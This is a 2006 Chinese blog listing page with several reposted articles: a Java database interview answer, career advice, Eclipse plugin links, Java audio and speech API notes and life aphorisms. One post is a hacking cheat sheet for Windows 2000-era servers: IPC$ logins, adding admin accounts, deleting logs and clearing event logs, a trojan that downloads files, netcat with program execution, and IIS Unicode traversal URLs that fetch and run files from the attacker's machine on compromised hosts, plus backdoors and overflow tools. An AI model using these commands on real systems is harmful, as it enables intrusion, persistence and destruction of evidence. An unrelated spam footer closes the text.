          posted @ 2006-03-25 18:13 MEYE 閱讀(2447) | 評論 (1)編輯 收藏
               摘要: 各種電子教程下載網址超級大集合 ==========Photoshop教學站點========== http://www.iwebcreator.net/http://www.photoshopcn.com...  閱讀全文
          posted @ 2006-03-25 18:13 MEYE 閱讀(1278) | 評論 (0)編輯 收藏
          java程序員面試必答題--數據庫
          ?
          這道題我在好多個公司都考了,現在總結下來
          ?
          寫一種數據庫操作
          ?
          最通用的答案是使用數據源的
          ?
          1、完整的,基于struts框架的
          ?
          //取得當前模型 struts
          ServletContext context = getServlet().getServletContext();

          //指定配置文件???????
          ModuleConfig moduleConfig = ModuleUtils.getInstance().getModuleConfig(request, context);
          ?
          //取得配置文件中指定的數據源
          DataSource dataSource = (DataSource) context.getAttribute(key + moduleConfig.getPrefix());
          ?
          //取得數據庫連接
          Connection conn = dataSource.getConnection();
          ?
          //準備sql操作
          ps = conn.prepareStatement(sql);
          ?
          //sql問中參數綁定
          statement.setString(綁定參數位置, 所需綁定的參數);
          ?
          //執行sql
          rs = ps.executeQuery();
          ?
          //結果rs保存
          ??while (rs.next()) {
          ???rs.getInt("aa");
          ???rs.getString("bb");
          ??}
          ?
          2、簡單的
          //取得數據庫連接
          Connection conn = dataSource.getConnection();
          ?
          //準備sql操作
          ps = conn.prepareStatement(sql);
          ?
          //執行sql
          rs = ps.executeQuery();
          ?
          //結果rs保存
          ??while (rs.next()) {
          ???rs.getInt("aa");
          ???rs.getString("bb");
          ??}
          posted @ 2006-03-25 18:11 MEYE 閱讀(392) | 評論 (0)編輯 收藏
          軟件工程師的務實職業生涯規劃
          ? ?[1]
            好好規劃自己的路,不要跟著感覺走!根據個人的理想決策安排,絕大部分人并不指望成為什么院士或教授,而是希望活得滋潤一些,爽一些。那么,就需要慎重安排自己的軌跡。從哪個行業入手,逐漸對該行業深入了解,不要頻繁跳槽,特別是不要為了一點工資而轉移陣地,從長遠看,這點錢根本不算什么,當你對一個行業有那么幾年的體會,以后錢根本不是問題。頻繁地動蕩不是上策,最后你對哪個行業都沒有摸透,永遠是新手!
            
            [2]
            可以做技術,切不可沉湎于技術。千萬不可一門心思鉆研技術!給自己很大壓力,如果你的心思全部放在這上面,那么注定你將成為孔乙己一類的人物!適可而止為之,因為技術只不過是你今后前途的支柱之一,而且還不是最大的支柱,除非你只愿意到老還是個工程師!
            
            [3]
            不要去做技術高手,只去做綜合素質高手!在企業里混,我們時常瞧不起某人,說他“什么都不懂,憑啥拿那么多錢,憑啥升官!”這是普遍的典型的工程師的迂腐之言。8051很牛嗎?人家能上去必然有他的本事,而且是你沒有的本事。你想想,老板搞經營那么多年,難道見識不如你這個新兵?人家或許善于管理,善于領會老板意圖,善于部門協調等等。因此務必培養自己多方面的能力,包括管理,親和力,察言觀色能力,攻關能力等,要成為綜合素質的高手,則前途無量,否則只能躲在角落看示波器!技術以外的技能才是更重要的本事!!從古到今,美國日本,一律如此!
            
            [4]
            多交社會三教九流的朋友!不要只和工程師交往,認為有共同語言,其實更重要的是和其他類人物交往,如果你希望有朝一日當老板或高層管理,那么你整日面對的就是這些人。了解他們的經歷,思維習慣,愛好,學習他們處理問題的模式,了解社會各個角落的現象和問題,這是以后發展的巨大的本錢,沒有這些以后就會笨手笨腳,跌跌撞撞,遇到重重困難,交不少學費,成功的概率大大降低!
            
            [5]
            知識涉獵不一定專,但一定要廣!多看看其他方面的書,金融,財會,進出口,稅務,法律等等,為以后做一些積累,以后的用處會更大!會少交許多學費!!
            
            [6]
            抓住時機向技術管理或市場銷售方面的轉變!要想有前途就不能一直搞開發,適當時候要轉變為管理或銷售,前途會更大,以前搞技術也沒有白搞,以后還用得著。搞管理可以培養自己的領導能力,搞銷售可以培養自己的市場概念和思維,同時為自己以后發展積累龐大的人脈!應該說這才是前途的真正支柱!!!
            
            [7]
            逐漸克服自己的心里弱點和性格缺陷!多疑,敏感,天真(貶義,并不可愛),猶豫不決,膽怯,多慮,臉皮太薄,心不夠黑,教條式思維。。。這些工程師普遍存在的性格弱點必須改變!很難嗎?只在床上想一想當然不可能,去幫朋友守一個月地攤,包準有效果,去實踐,而不要只想!不克服這些缺點,一切不可能,甚至連項目經理都當不好--盡管你可能技術不錯!
            
            [8]
            工作的同時要為以后做準備!建立自己的工作環境!及早為自己配置一個工作環境,裝備電腦,示波器(可以買個二手的),仿真器,編程器等,業余可以接點活,一方面接觸市場,培養市場感覺,同時也積累資金,更重要的是準備自己的產品,咱搞技術的沒有錢,只有技術,技術的代表不是學歷和證書,而是產品,拿出象樣的產品,就可技術轉讓或與人合作搞企業!先把東西準備好,等待機會,否則,有了機會也抓不住!
            
            [9]
            要學會善于推銷自己!不僅要能干,還要能說,能寫,善于利用一切機會推銷自己,樹立自己的品牌形象,很必要!要創造條件讓別人了解自己,不然老板怎么知道你能干?外面的投資人怎么相信你?提早把自己推銷出去,機會自然會來找你!搞個個人主頁是個好注意!!特別是培養自己在行業的名氣,有了名氣,高薪機會自不在話下,更重要的是有合作的機會...
            
            [10]
            該出手時便出手!永遠不可能有100%把握!!!條件差不多就要大膽去干,去闖出自己的事業,不要猶豫,不要彷徨,干了不一定成功,但至少為下一次沖擊積累了經驗,不干永遠沒出息,而且要干成必然要經歷失敗。不經歷風雨,怎么見彩虹,沒有人能隨隨便便成功!
            
            這篇文章是我偶然在論壇上看到的,看后覺得挺有感觸的。朋友們可以參考下,我一直認為做人一定要做個多面手,不是說你作技術就不能做別的,其實多學點對自己是沒有壞處的,還有平時多注意積累其他方面的知識,這樣在自己不做技術的時候還有別的可做。做個有準備的人豈不是更好!
          posted @ 2006-03-25 18:05 MEYE 閱讀(341) | 評論 (0)編輯 收藏
          網管和黑客都必須知道的命令
          ? 常用的幾條NET命令:?

          (與遠程主機建立空管連接)?net?use?\\IP地址\ipc$?""?/use:""?

          (以管理員身份登錄遠程主機)?net?use?\\IP地址\ipc$?"密碼"?/use:"Administrator"?

          (傳送文件到遠程主機WINNT目錄下)copy?本機目錄路徑\程序?\\IP地址\admin$?

          (查看遠程主機時間)?net?time?\\IP地址?

          (定時啟動某個程序)?at?\\IP地址?02:18?readme.exe?

          (查看共享)?net?view?\\IP地址?

          (查看netbios工作組列表)?nbtstat?-A?IP地址?

          (將遠程主機C盤映射為自己的F盤)?net?use?f:?\\IP地址\c$?""/user:"Administrator"?

          (這兩條把自己增加到管理員組):?net?user?用戶名?密碼?/add?

          net?localgroup?Administrators?用戶名?/add?

          (斷開連接)?net?use?\\IP地址\ipc$?/delete?

          掃尾:?

          del?C:\winnt\system32\logfiles\*.*?

          del?C:\winnt\ssytem32\config\*.evt?

          del?C:\winnt\system32\dtclog\*.*?

          del?C:\winnt\system32\*.log?

          del?C:\winnt\system32\*.txt?

          del?C:\winnt\*.txt?

          del?C:\winnt\*.log?

          一、netsvc.exe?

          下面的命令分別是列出主機上的服務項目、查尋和遠程啟動主機的“時間任務”服務:?

          netsvc?/list?\\IP地址?

          netsvc?schedule?\\IP地址?/query?

          netsvc?\\IP地址?schedule?/start?

          二、OpenTelnet.exe?

          遠程啟動主機的Telnet服務,并綁定端口到7878,例如:?

          OpenTelnet?\\IP地址?用戶名?密碼?1?7878?

          然后就可以telnet到主機的7878端口,進入DOS方式下:?

          telnet?IP地址?7878?

          三、winshell.exe?

          一個非常小的木馬(不到6K),telnet到主機的7878端口,輸入密碼winshell,當看到CMD>后,可打下面的命令:?

          p?Path?(查看winshell主程序的路徑信息)?

          b?reBoot?(重新啟動機器)?

          d?shutDown?(關閉機器)?

          s?Shell?(執行后你就會看到可愛的“C:\>”)?

          x?eXit?(退出本次登錄會話,此命令并不終止winshell的運行)?

          CMD>?http://.../srv.exe?(通過http下載其他網站上的文件到運行winshell的機器上)?

          四、3389登陸器,GUI方式登錄遠程主機的?

          五、elsave.exe?

          事件日志清除工具?

          elsave?-s?\\IP地址?-l?"application"?-C?

          elsave?-s?\\IP地址?-l?"system"?-C?

          elsave?-s?\\IP地址?-l?"security"?-C?

          執行后成功清除應用程序日志,系統日志,安全日志?

          六、hbulot.exe?

          開啟win2kserver和winxp的3389服務?

          hbulot?[/r]?

          使用/r表示安裝完成后自動重起目標使設置生效。?

          七、nc.exe(netcat.exe)?

          一個很好的工具,一些腳本程序都要用到它,也可做溢出后的連接用。?

          想要連接到某處:?nc?[-options]?hostname?port[s]?[ports]?...?

          綁定端口等待連接:?nc?-l?-p?port?[-options]?[hostname]?[port]?

          參數:?

          -e?prog?程序重定向,一旦連接,就執行?[危險!!]?

          -g?gateway?source-routing?hop?point[s],?up?to?8?

          -G?num?source-routing?pointer:?4,?8,?12,?...?

          -h?幫助信息?

          -i?secs?延時的間隔?

          -l?監聽模式,用于入站連接?

          -n?指定數字的IP地址,不能用hostname?

          -o?file?記錄16進制的傳輸?

          -p?port?本地端口號?

          -r?任意指定本地及遠程端口?

          -s?addr?本地源地址?

          -u?UDP模式?

          -v?詳細輸出——用兩個-v可得到更詳細的內容?

          -w?secs?timeout的時間?

          -z?將輸入輸出關掉——用于掃描時?
          八、TFTPD32.EXE?

          把自己的電腦臨時變為一臺FTP服務器,讓肉雞來下載文件,tftp命令要在肉雞上執行,通常要利用Unicode漏洞或telnet到肉雞,例如:?

          http://IP地址/s?cripts/..%255c..%255c/winnt/system32/cmd.exe?/c?tftp?-i?本機IP地址?get?文件名?c:\winnt\system32\文件名?

          然后可以直接令文件運行:?

          http://IP地址/s?cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名?

          九、prihack.exe是IIS的printer遠程緩沖區溢出工具。idqover.exe是溢出idq的,選擇“溢出后在一個端口監聽”,然后用telnet連接它的監聽端口,如果溢出成功,一連它的端口,綁定的命令馬上執行。xploit.exe是一個圖形界面的ida溢出,成功以后winxp下需要打winxp。?

          一○、ntis.exe、cmd.exe和cmdasp.asp是三個cgi-backdoor,exe要放到cgi-bin目錄下,asp放到有ASP執行權限的目錄。然后用IE瀏覽器連接。?

          一、一?Xscan命令行運行參數說明:?

          在檢測過程中,按"[空格]"鍵可以查看各線程狀態及掃描進度,按"q"鍵保存當前數據后提前退出程序,按"<ctrl+c>"強行關閉程序。?

          1.命令格式:?xscan?-host?<起始IP>[-<終止IP>]?<檢測項目>?[其他選項]?

          xscan?-file?<主機列表文件名>?<檢測項目>?[其他選項]?

          其中<檢測項目>?含義如下:?

          -port?:?檢測常用服務的端口狀態(可通過\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"項定制待檢測端口列表);?

          -ftp?:?檢測FTP弱口令(可通過\dat\config.ini文件設置用戶名/密碼字典文件);?

          -ntpass?:?檢測NT-Server弱口令(可通過\dat\config.ini文件設置用戶名/密碼字典文件);?

          -cgi?:?檢測CGI漏洞(可通過\dat\config.ini文件的"CGI-ENCODE\encode_type"項設置編碼方案);?

          -iis?:?檢測IIS漏洞(可通過\dat\config.ini文件的"CGI-ENCODE\encode_type"項設置編碼方案);?

          [其他選項]?含義如下:?

          -v:?顯示詳細掃描進度?

          -p:?跳過Ping不通的主機?

          -o:?跳過沒有檢測到開放端口的主機?

          -t?<并發線程數量[,并發主機數量]>:?指定最大并發線程數量和并發主機數量,?默認數量為100,10?

          posted @ 2006-03-25 18:04 MEYE 閱讀(339) | 評論 (0)編輯 收藏
          Eclipse及其插件介紹和下載

          Eclipse及其插件介紹和下載- -

          TagEclipse ?? 插件 ?? ??????????????????????????????????????

          *.Eclipse下載
          EMF,GEF - Graphical Editor Framework,UML2,VE - Visual Editor都在這里下載
          http://www.eclipse.org/downloads/index.php
          ?
          *.lomboz J2EE插件,開發JSP,EJB
          http://forge.objectweb.org/projects/lomboz
          1.MyEclipse J2EE開發插件,支持SERVLET/JSP/EJB/數據庫操縱等
          http://www.myeclipseide.com
          ?
          2.Properties Editor? 編輯java的屬性文件,并可以自動存盤為Unicode格式
          http://propedit.sourceforge.jp/index_en.html
          ?
          3.Colorer Take? 為上百種類型的文件按語法著色
          http://colorer.sourceforge.net/
          ?
          4.XMLBuddy 編輯xml文件
          http://www.xmlbuddy.com
          ?
          5.Code Folding? 加入多種代碼折疊功能(比eclipse自帶的更多)
          http://www.coffee-bytes.com/servlet/PlatformSupport
          ?
          6.Easy Explorer? 從eclipse中訪問選定文件、目錄所在的文件夾
          http://easystruts.sourceforge.net/
          ?
          7.Fat Jar 打包插件,可以方便的完成各種打包任務,可以包含外部的包等
          http://fjep.sourceforge.net/
          ?
          8.RegEx Test 測試正則表達式
          http://brosinski.com/stephan/archives/000028.php
          ?
          9.JasperAssistant 報表插件(強,要錢的)
          http://www.jasperassistant.com/
          ?
          10.Jigloo GUI Builder JAVA的GUI編輯插件
          http://cloudgarden.com/jigloo/
          ?
          11.Profiler 性能跟蹤、測量工具,能跟蹤、測量BS程序
          http://sourceforge.net/projects/eclipsecolorer/
          ?
          12.AdvanQas 提供對if/else等條件語句的提示和快捷幫助(自動更改結構等)
          http://eclipsecolorer.sourceforge.net/advanqas/index.html
          ?
          13.Log4E Log4j插件,提供各種和Log4j相關的任務,如為方法、類添加一個logger等
          http://log4e.jayefem.de/index.php/Main_Page
          ?
          14.VSSPlugin VSS插件
          http://sourceforge.net/projects/vssplugin
          ?
          15.Implementors 提供跳轉到一個方法的實現類,而不是接中的功能(實用!)
          http://eclipse-tools.sourceforge.net/implementors/
          ?
          16.Call Hierarchy 顯示一個方法的調用層次(被哪些方法調,調了哪些方法)
          http://eclipse-tools.sourceforge.net/call-hierarchy/index.html
          ?
          17.EclipseTidy 檢查和格式化HTML/XML文件
          http://eclipsetidy.sourceforge.net/
          ?
          18.Checkclipse 檢查代碼的風格、寫法是否符合規范
          http://www.mvmsoft.de/content/plugins/checkclipse/checkclipse.htm
          ?
          19.Hibernate Synchronizer Hibernate插件,自動映射等
          http://www.binamics.com/hibernatesync/
          ?
          20.VeloEclipse? Velocity插件
          http://propsorter.sourceforge.net/
          ?
          21.EditorList 方便的列出所有打開的Editor
          http://editorlist.sourceforge.net/
          ?
          22.MemoryManager 內存占用率的監視
          http://cloudgarden.com/memorymanager/
          ?
          23.swt-designer java的GUI插件
          http://www.swt-designer.com/
          ?
          24.TomcatPlugin 支持Tomcat插件
          http://www.sysdeo.com/eclipse/tomcatPlugin.html
          ?
          25.XML Viewer
          http://tabaquismo.freehosting.net/ignacio/eclipse/xmlview/index.html
          ?
          26.quantum 數據庫插件
          http://quantum.sourceforge.net/
          ?
          27.Dbedit 數據庫插件
          http://sourceforge.net/projects/dbedit
          ?
          28.clay.core 可視化的數據庫插件
          http://www.azzurri.jp/en/software/index.jsp
          http://www.azzurri.jp/eclipse/plugins
          ?
          29.hiberclipse hibernate插件
          http://hiberclipse.sourceforge.net
          http://www.binamics.com/hibernatesync
          ?
          30.struts-console Struts插件
          http://www.jamesholmes.com/struts/console/
          ?
          31.easystruts Struts插件
          http://easystruts.sourceforge.net
          ?
          32.veloedit Velocity插件
          http://veloedit.sourceforge.net/
          ?
          33.jalopy 代碼整理插件
          http://jalopy.sourceforge.net/
          ?
          34.JDepend 包關系分析
          http://andrei.gmxhome.de/jdepend4eclipse/links.html
          ?
          35.Spring IDE Spring插件
          http://springide-eclip.sourceforge.net/updatesite/
          ?
          36.doclipse 可以產生xdoclet 的代碼提示
          http://beust.com/doclipse/

          posted @ 2006-03-25 18:03 MEYE 閱讀(373) | 評論 (0)編輯 收藏
          Eclipse+MyEclipse+tomcat圖解安裝JSP(轉)
          開發環境:
            Java:j2sdk-1_4_2_06-windows-i586-p.exe
            Tomcat:jakarta-tomcat-5.0.28.exe
            Eclipse:eclipse-SDK-3.1-win32.zip
            MyEclipse:EnterpriseWorkbenchInstaller_4.0GA_E3.1.exe

            
            1.首先安裝Java的J2sdk和Tomcat到指定位置并測試成功
            
            2.安裝Eclipse到你指定的目錄(建議在C盤建立一個JAVA的目錄把JAVA和TOMCAT及Eclipse安裝在一起)
            
            3.安裝MyEclipse(默認安裝)
            
              
            5.安裝完成后運行MyEclipse,打開window/Preferences(圖一)安裝J2sdk
            
           

            6.啟動MyEclipse的Tomcat(圖二)
            
           

            7.開啟JDK指向的J2skd的路徑(圖三)
            
           

            8.程序安裝完成后新建工程(圖四)
            
           

            9.啟動Tomcat(圖五)
            
           

            10.Tomcat啟動工程(圖六)
            
          posted @ 2006-03-25 18:02 MEYE 閱讀(3923) | 評論 (0)編輯 收藏
          Java?Sound?API

          平臺的 1.3 版本取得了目前為止最大的進步。這個版本使用相同的 Beatnik 聲音引擎及以前所有的功能,并增加了一個全新的 API ― Java Sound API。

          Java Sound API 提供了一套擴展的音頻功能,并可通過新的 javax.media.sound.sampledjavax.media.sound.midi 包來訪問。

          javax.media.sound.sampled 包包含從各種聲源回放聲音的類,和最多能混合 64 聲道的類。每一個音頻信號可以通過不同的方法進行控制和處理,比如在不同文件格式之間的轉換,和對效果(如增益和回響)的使用。同時還支持輸入源(例如麥克風)的音頻捕捉。

          javax.media.sound.midi 包提供 MIDI 功能,包括載入音色庫和從 MIDI 數據中生成聲音,以及回放 MIDI 序列。

          Java 音頻功能還缺乏一個重要的方面 ― 硬件加速。缺乏這種支持意味著不管您的聲卡硬件性能多么優秀,這些功能都無法被使用。這樣的結構確實帶來了好的跨平臺可移植性,但付出的代價是高 CPU 開銷和較低的性能。

          posted @ 2006-03-25 17:55 MEYE 閱讀(750) | 評論 (0)編輯 收藏
          Java?Speech?API

          Java Speech API 允許開發人員將語音技術整合到 Java applet 和應用程序的用戶界面中。這種 API 規定一個跨平臺的接口來支持命令―控制識別器、聽寫系統和語音合成器。

          這個綜合 API 被分成幾個規范:

          • Java Speech API 規范(Java Speech API Specification,JSAPI)
          • Java Speech API 程序員指南
          • Java Speech API 語法格式規范(Java Speech API Grammar Format Specification,JSGF)
          • Java Speech API 標記語言規范(Java Speech API Markup Language Specification,JSML)

          這個 API 沒有 Sun 公司的參考實現,但是有許多第三方實現,包括 Speech for Java(可以從 IBM alphaWorks 獲得http://www.alphaworks.ibm.com/tech/speech),它使用 ViaVoice 來支持語音命令識別、聽寫和文本到語音的合成。

          posted @ 2006-03-25 17:53 MEYE 閱讀(984) | 評論 (0)編輯 收藏

          人生三重境界(精辟短文!)
          人生有三重境界,這三重境界可以用一段充滿禪機的語言來說明,這段語言便是:??


            看山是山,看水是水;
            看山不是山,看水不是水;
            看山還是山。看水還是水。

            這就是說一個人的人生之初純潔無瑕,初識世界,一切都是新鮮的,眼睛看見什么
          就是什么,人家告訴他這是山,他就認識了山;告訴他這是水,他就認識了水。

            隨著年齡漸長,經歷的世事漸多,就發現這個世界的問題了。這個世界問題越來越
          多,越來越復雜,經常是黑白顛倒,是非混淆,無理走遍天下,有理寸步難行,好人無
          好報,惡人活千年。進人這個階段,人是激憤的,不平的,憂慮的,疑問的,警惕的,
          復雜的。人不愿意再輕易地相信什么。人到了這個時候看山也感慨,看水也嘆息,借古
          諷今,指桑罵槐。山自然不再是單純的山,水自然不再是單純的水。一切的一切都是人
          的主觀意志的載體,所謂“好風憑借力,送我上青云”。一個人倘若停留在人生的這一
          階段,那就苦了這條性命了。人就會這山望了那山高,不停地攀登,爭強好勝,與人比
          較,怎么做人,如何處世,絞盡腦汁,機關算盡,永無休止和滿足的一天。因為這個世
          界原本就是一個圓的,人外還有人,天外還有天,循環往復,綠水長流。而人的生命是
          短暫的有限的,哪里能夠去與永恒和無限計較呢?

            許多人到了人生的第二重境界就到了人生的終點。追求一生.勞碌一生,心高氣傲
          一生,最后發現自己并沒有達到自己的理想,于是抱恨終生。但是有些人通過自己的修
          練,終于把自己提升到了第三重人生境界。茅塞頓開,回歸自然。人這個時候便會專心
          致志做自己應該做的事情,不與旁人有任何計較。任你紅塵滾滾,我自清風朗月。面對
          蕪雜世俗之事,一笑了之,了了有何不了,這個時候的人看山又是山,看水又是水了。
          正是:人本是人,不必刻意去做人;世本是世,無須精心去處世;便也就是真正的做人
          與處世了。
          posted @ 2006-03-22 22:11 MEYE 閱讀(353) | 評論 (0)編輯 收藏
          世上最經典的25句話
          ? ?
          ? ?

          ???? 1,記住該記住的,忘記該忘記的。改變能改變的,接受不能接受的。


          ???? 2,能沖刷一切的除了眼淚,就是時間,以時間來推移感情,時間越長,沖突越 淡,仿佛不斷稀釋的茶。


          ???? 3,怨言是上天得至人類最大的供物,也是人類禱告中最真誠的部分。


            4,智慧的代價是矛盾。這是人生對人生觀開的玩笑。


            5,世上的姑娘總以為自己是驕傲的公主(除了少數極丑和少數極聰明的姑娘例外)。


            6,如果敵人讓你生氣,那說明你還沒有勝他的把握。


            7,如果朋友讓你生氣,那說明你仍然在意他的友情。


            8,令狐沖說“有些事情本身我們無法控制,只好控制自己。”


            9,我不知道我現在做的哪些是對的,那些是錯的,而當我終于老死的時候我才知道這些。所以我現在所能做的就是盡力做好待著老死。


            10,也許有些人很可惡,有些人很卑鄙。而當我設身為他想象的時候,我才知道:他比我還可憐。所以請原諒所有你見過的人,好人或者壞人。


            11,魚對水說你看不到我的眼淚,因為我在水里.水說我能感覺到你的眼淚,因為你在我心里。


            12,快樂要有悲傷作陪,雨過應該就有天晴。如果雨后還是雨,如果憂傷之后還是憂傷.請讓我們從容面對這離別之后的離別。微笑地去尋找一個不可能出現的你!


            13,死亡教會人一切,如同考試之后公布的結果——雖然恍然大悟,但為時晚矣~!


            14,你出生的時候,你哭著,周圍的人笑著;你逝去的時候,你笑著,而周圍的人在哭!一切都是輪回!!!! 我們都在輪回中!!!!


            15,男人在結婚前覺得適合自己的女人很少,結婚后覺得適合自己的女人很多。


            16,于千萬人之中,遇見你所遇見的人;于千萬年之中,時間的無涯荒野里,沒有早一步,也沒有晚一步,剛巧趕上了 。


            17,每個人都有潛在的能量,只是很容易:被習慣所掩蓋,被時間所迷離,被惰性所消磨。


            18,人生短短幾十年,不要給自己留下了什么遺憾,想笑就笑,想哭就哭,該愛的時候就去愛,無謂壓抑自己。


            19,《和平年代》里的話:當幻想和現實面對時,總是很痛苦的。要么你被痛苦擊倒,要么你把痛苦踩在腳下。


            20,真正的愛情是不講究熱鬧不講究排場不講究繁華更不講究嚎頭的。


            21,生命中,不斷地有人離開或進入。于是,看見的,看不見的;記住的,遺忘了。生命中,不斷地有得到和失落。于是,看不見的,看見了;遺忘的,記住了。然而,看不見的,是不是就等于不存在?記住的,是不是永遠不會消失?


            22,我們確實活得艱難,一要承受種種外部的壓力,更要面對自己內心的困惑。在苦苦掙扎中,如果有人向你投以理解的目光,你會感到一種生命的暖意,或許僅有短暫的一瞥,就足以使我感奮不已。


            23,我不去想是否能夠成功,既然選擇了遠方,便只顧風雨兼程;我不去想,身后會不會襲來寒風冷雨,既然目標是地平線,留給世界的只能是背影。


            24,后悔是一種耗費精神的情緒.后悔是比損失更大的損失,比錯誤更大的錯誤.所以不要后悔 。


            25,日出東海落西山,愁也一天,喜也一天;遇事不鉆牛角尖,人也舒坦,心也舒坦。?


          posted @ 2006-03-22 22:10 MEYE 閱讀(339) | 評論 (0)編輯 收藏
          僅列出標題
          共10頁: First 上一頁 2 3 4 5 6 7 8 9 10 下一頁 
          主站蜘蛛池模板: 隆昌县| 宣城市| 荣昌县| 鹤庆县| 商水县| 永康市| 西青区| 通州市| 江安县| 鲁山县| 松阳县| 阿尔山市| 湖州市| 扬州市| 原平市| 伊金霍洛旗| 长白| 华容县| 三门峡市| 荣昌县| 治多县| 资兴市| 麻江县| 祁门县| 志丹县| 锡林浩特市| 申扎县| 全椒县| 安吉县| 青岛市| 武冈市| 扎囊县| 习水县| 临潭县| 宁蒗| 黔西| 雷波县| 浦东新区| 福建省| 乌鲁木齐县| 丹阳市|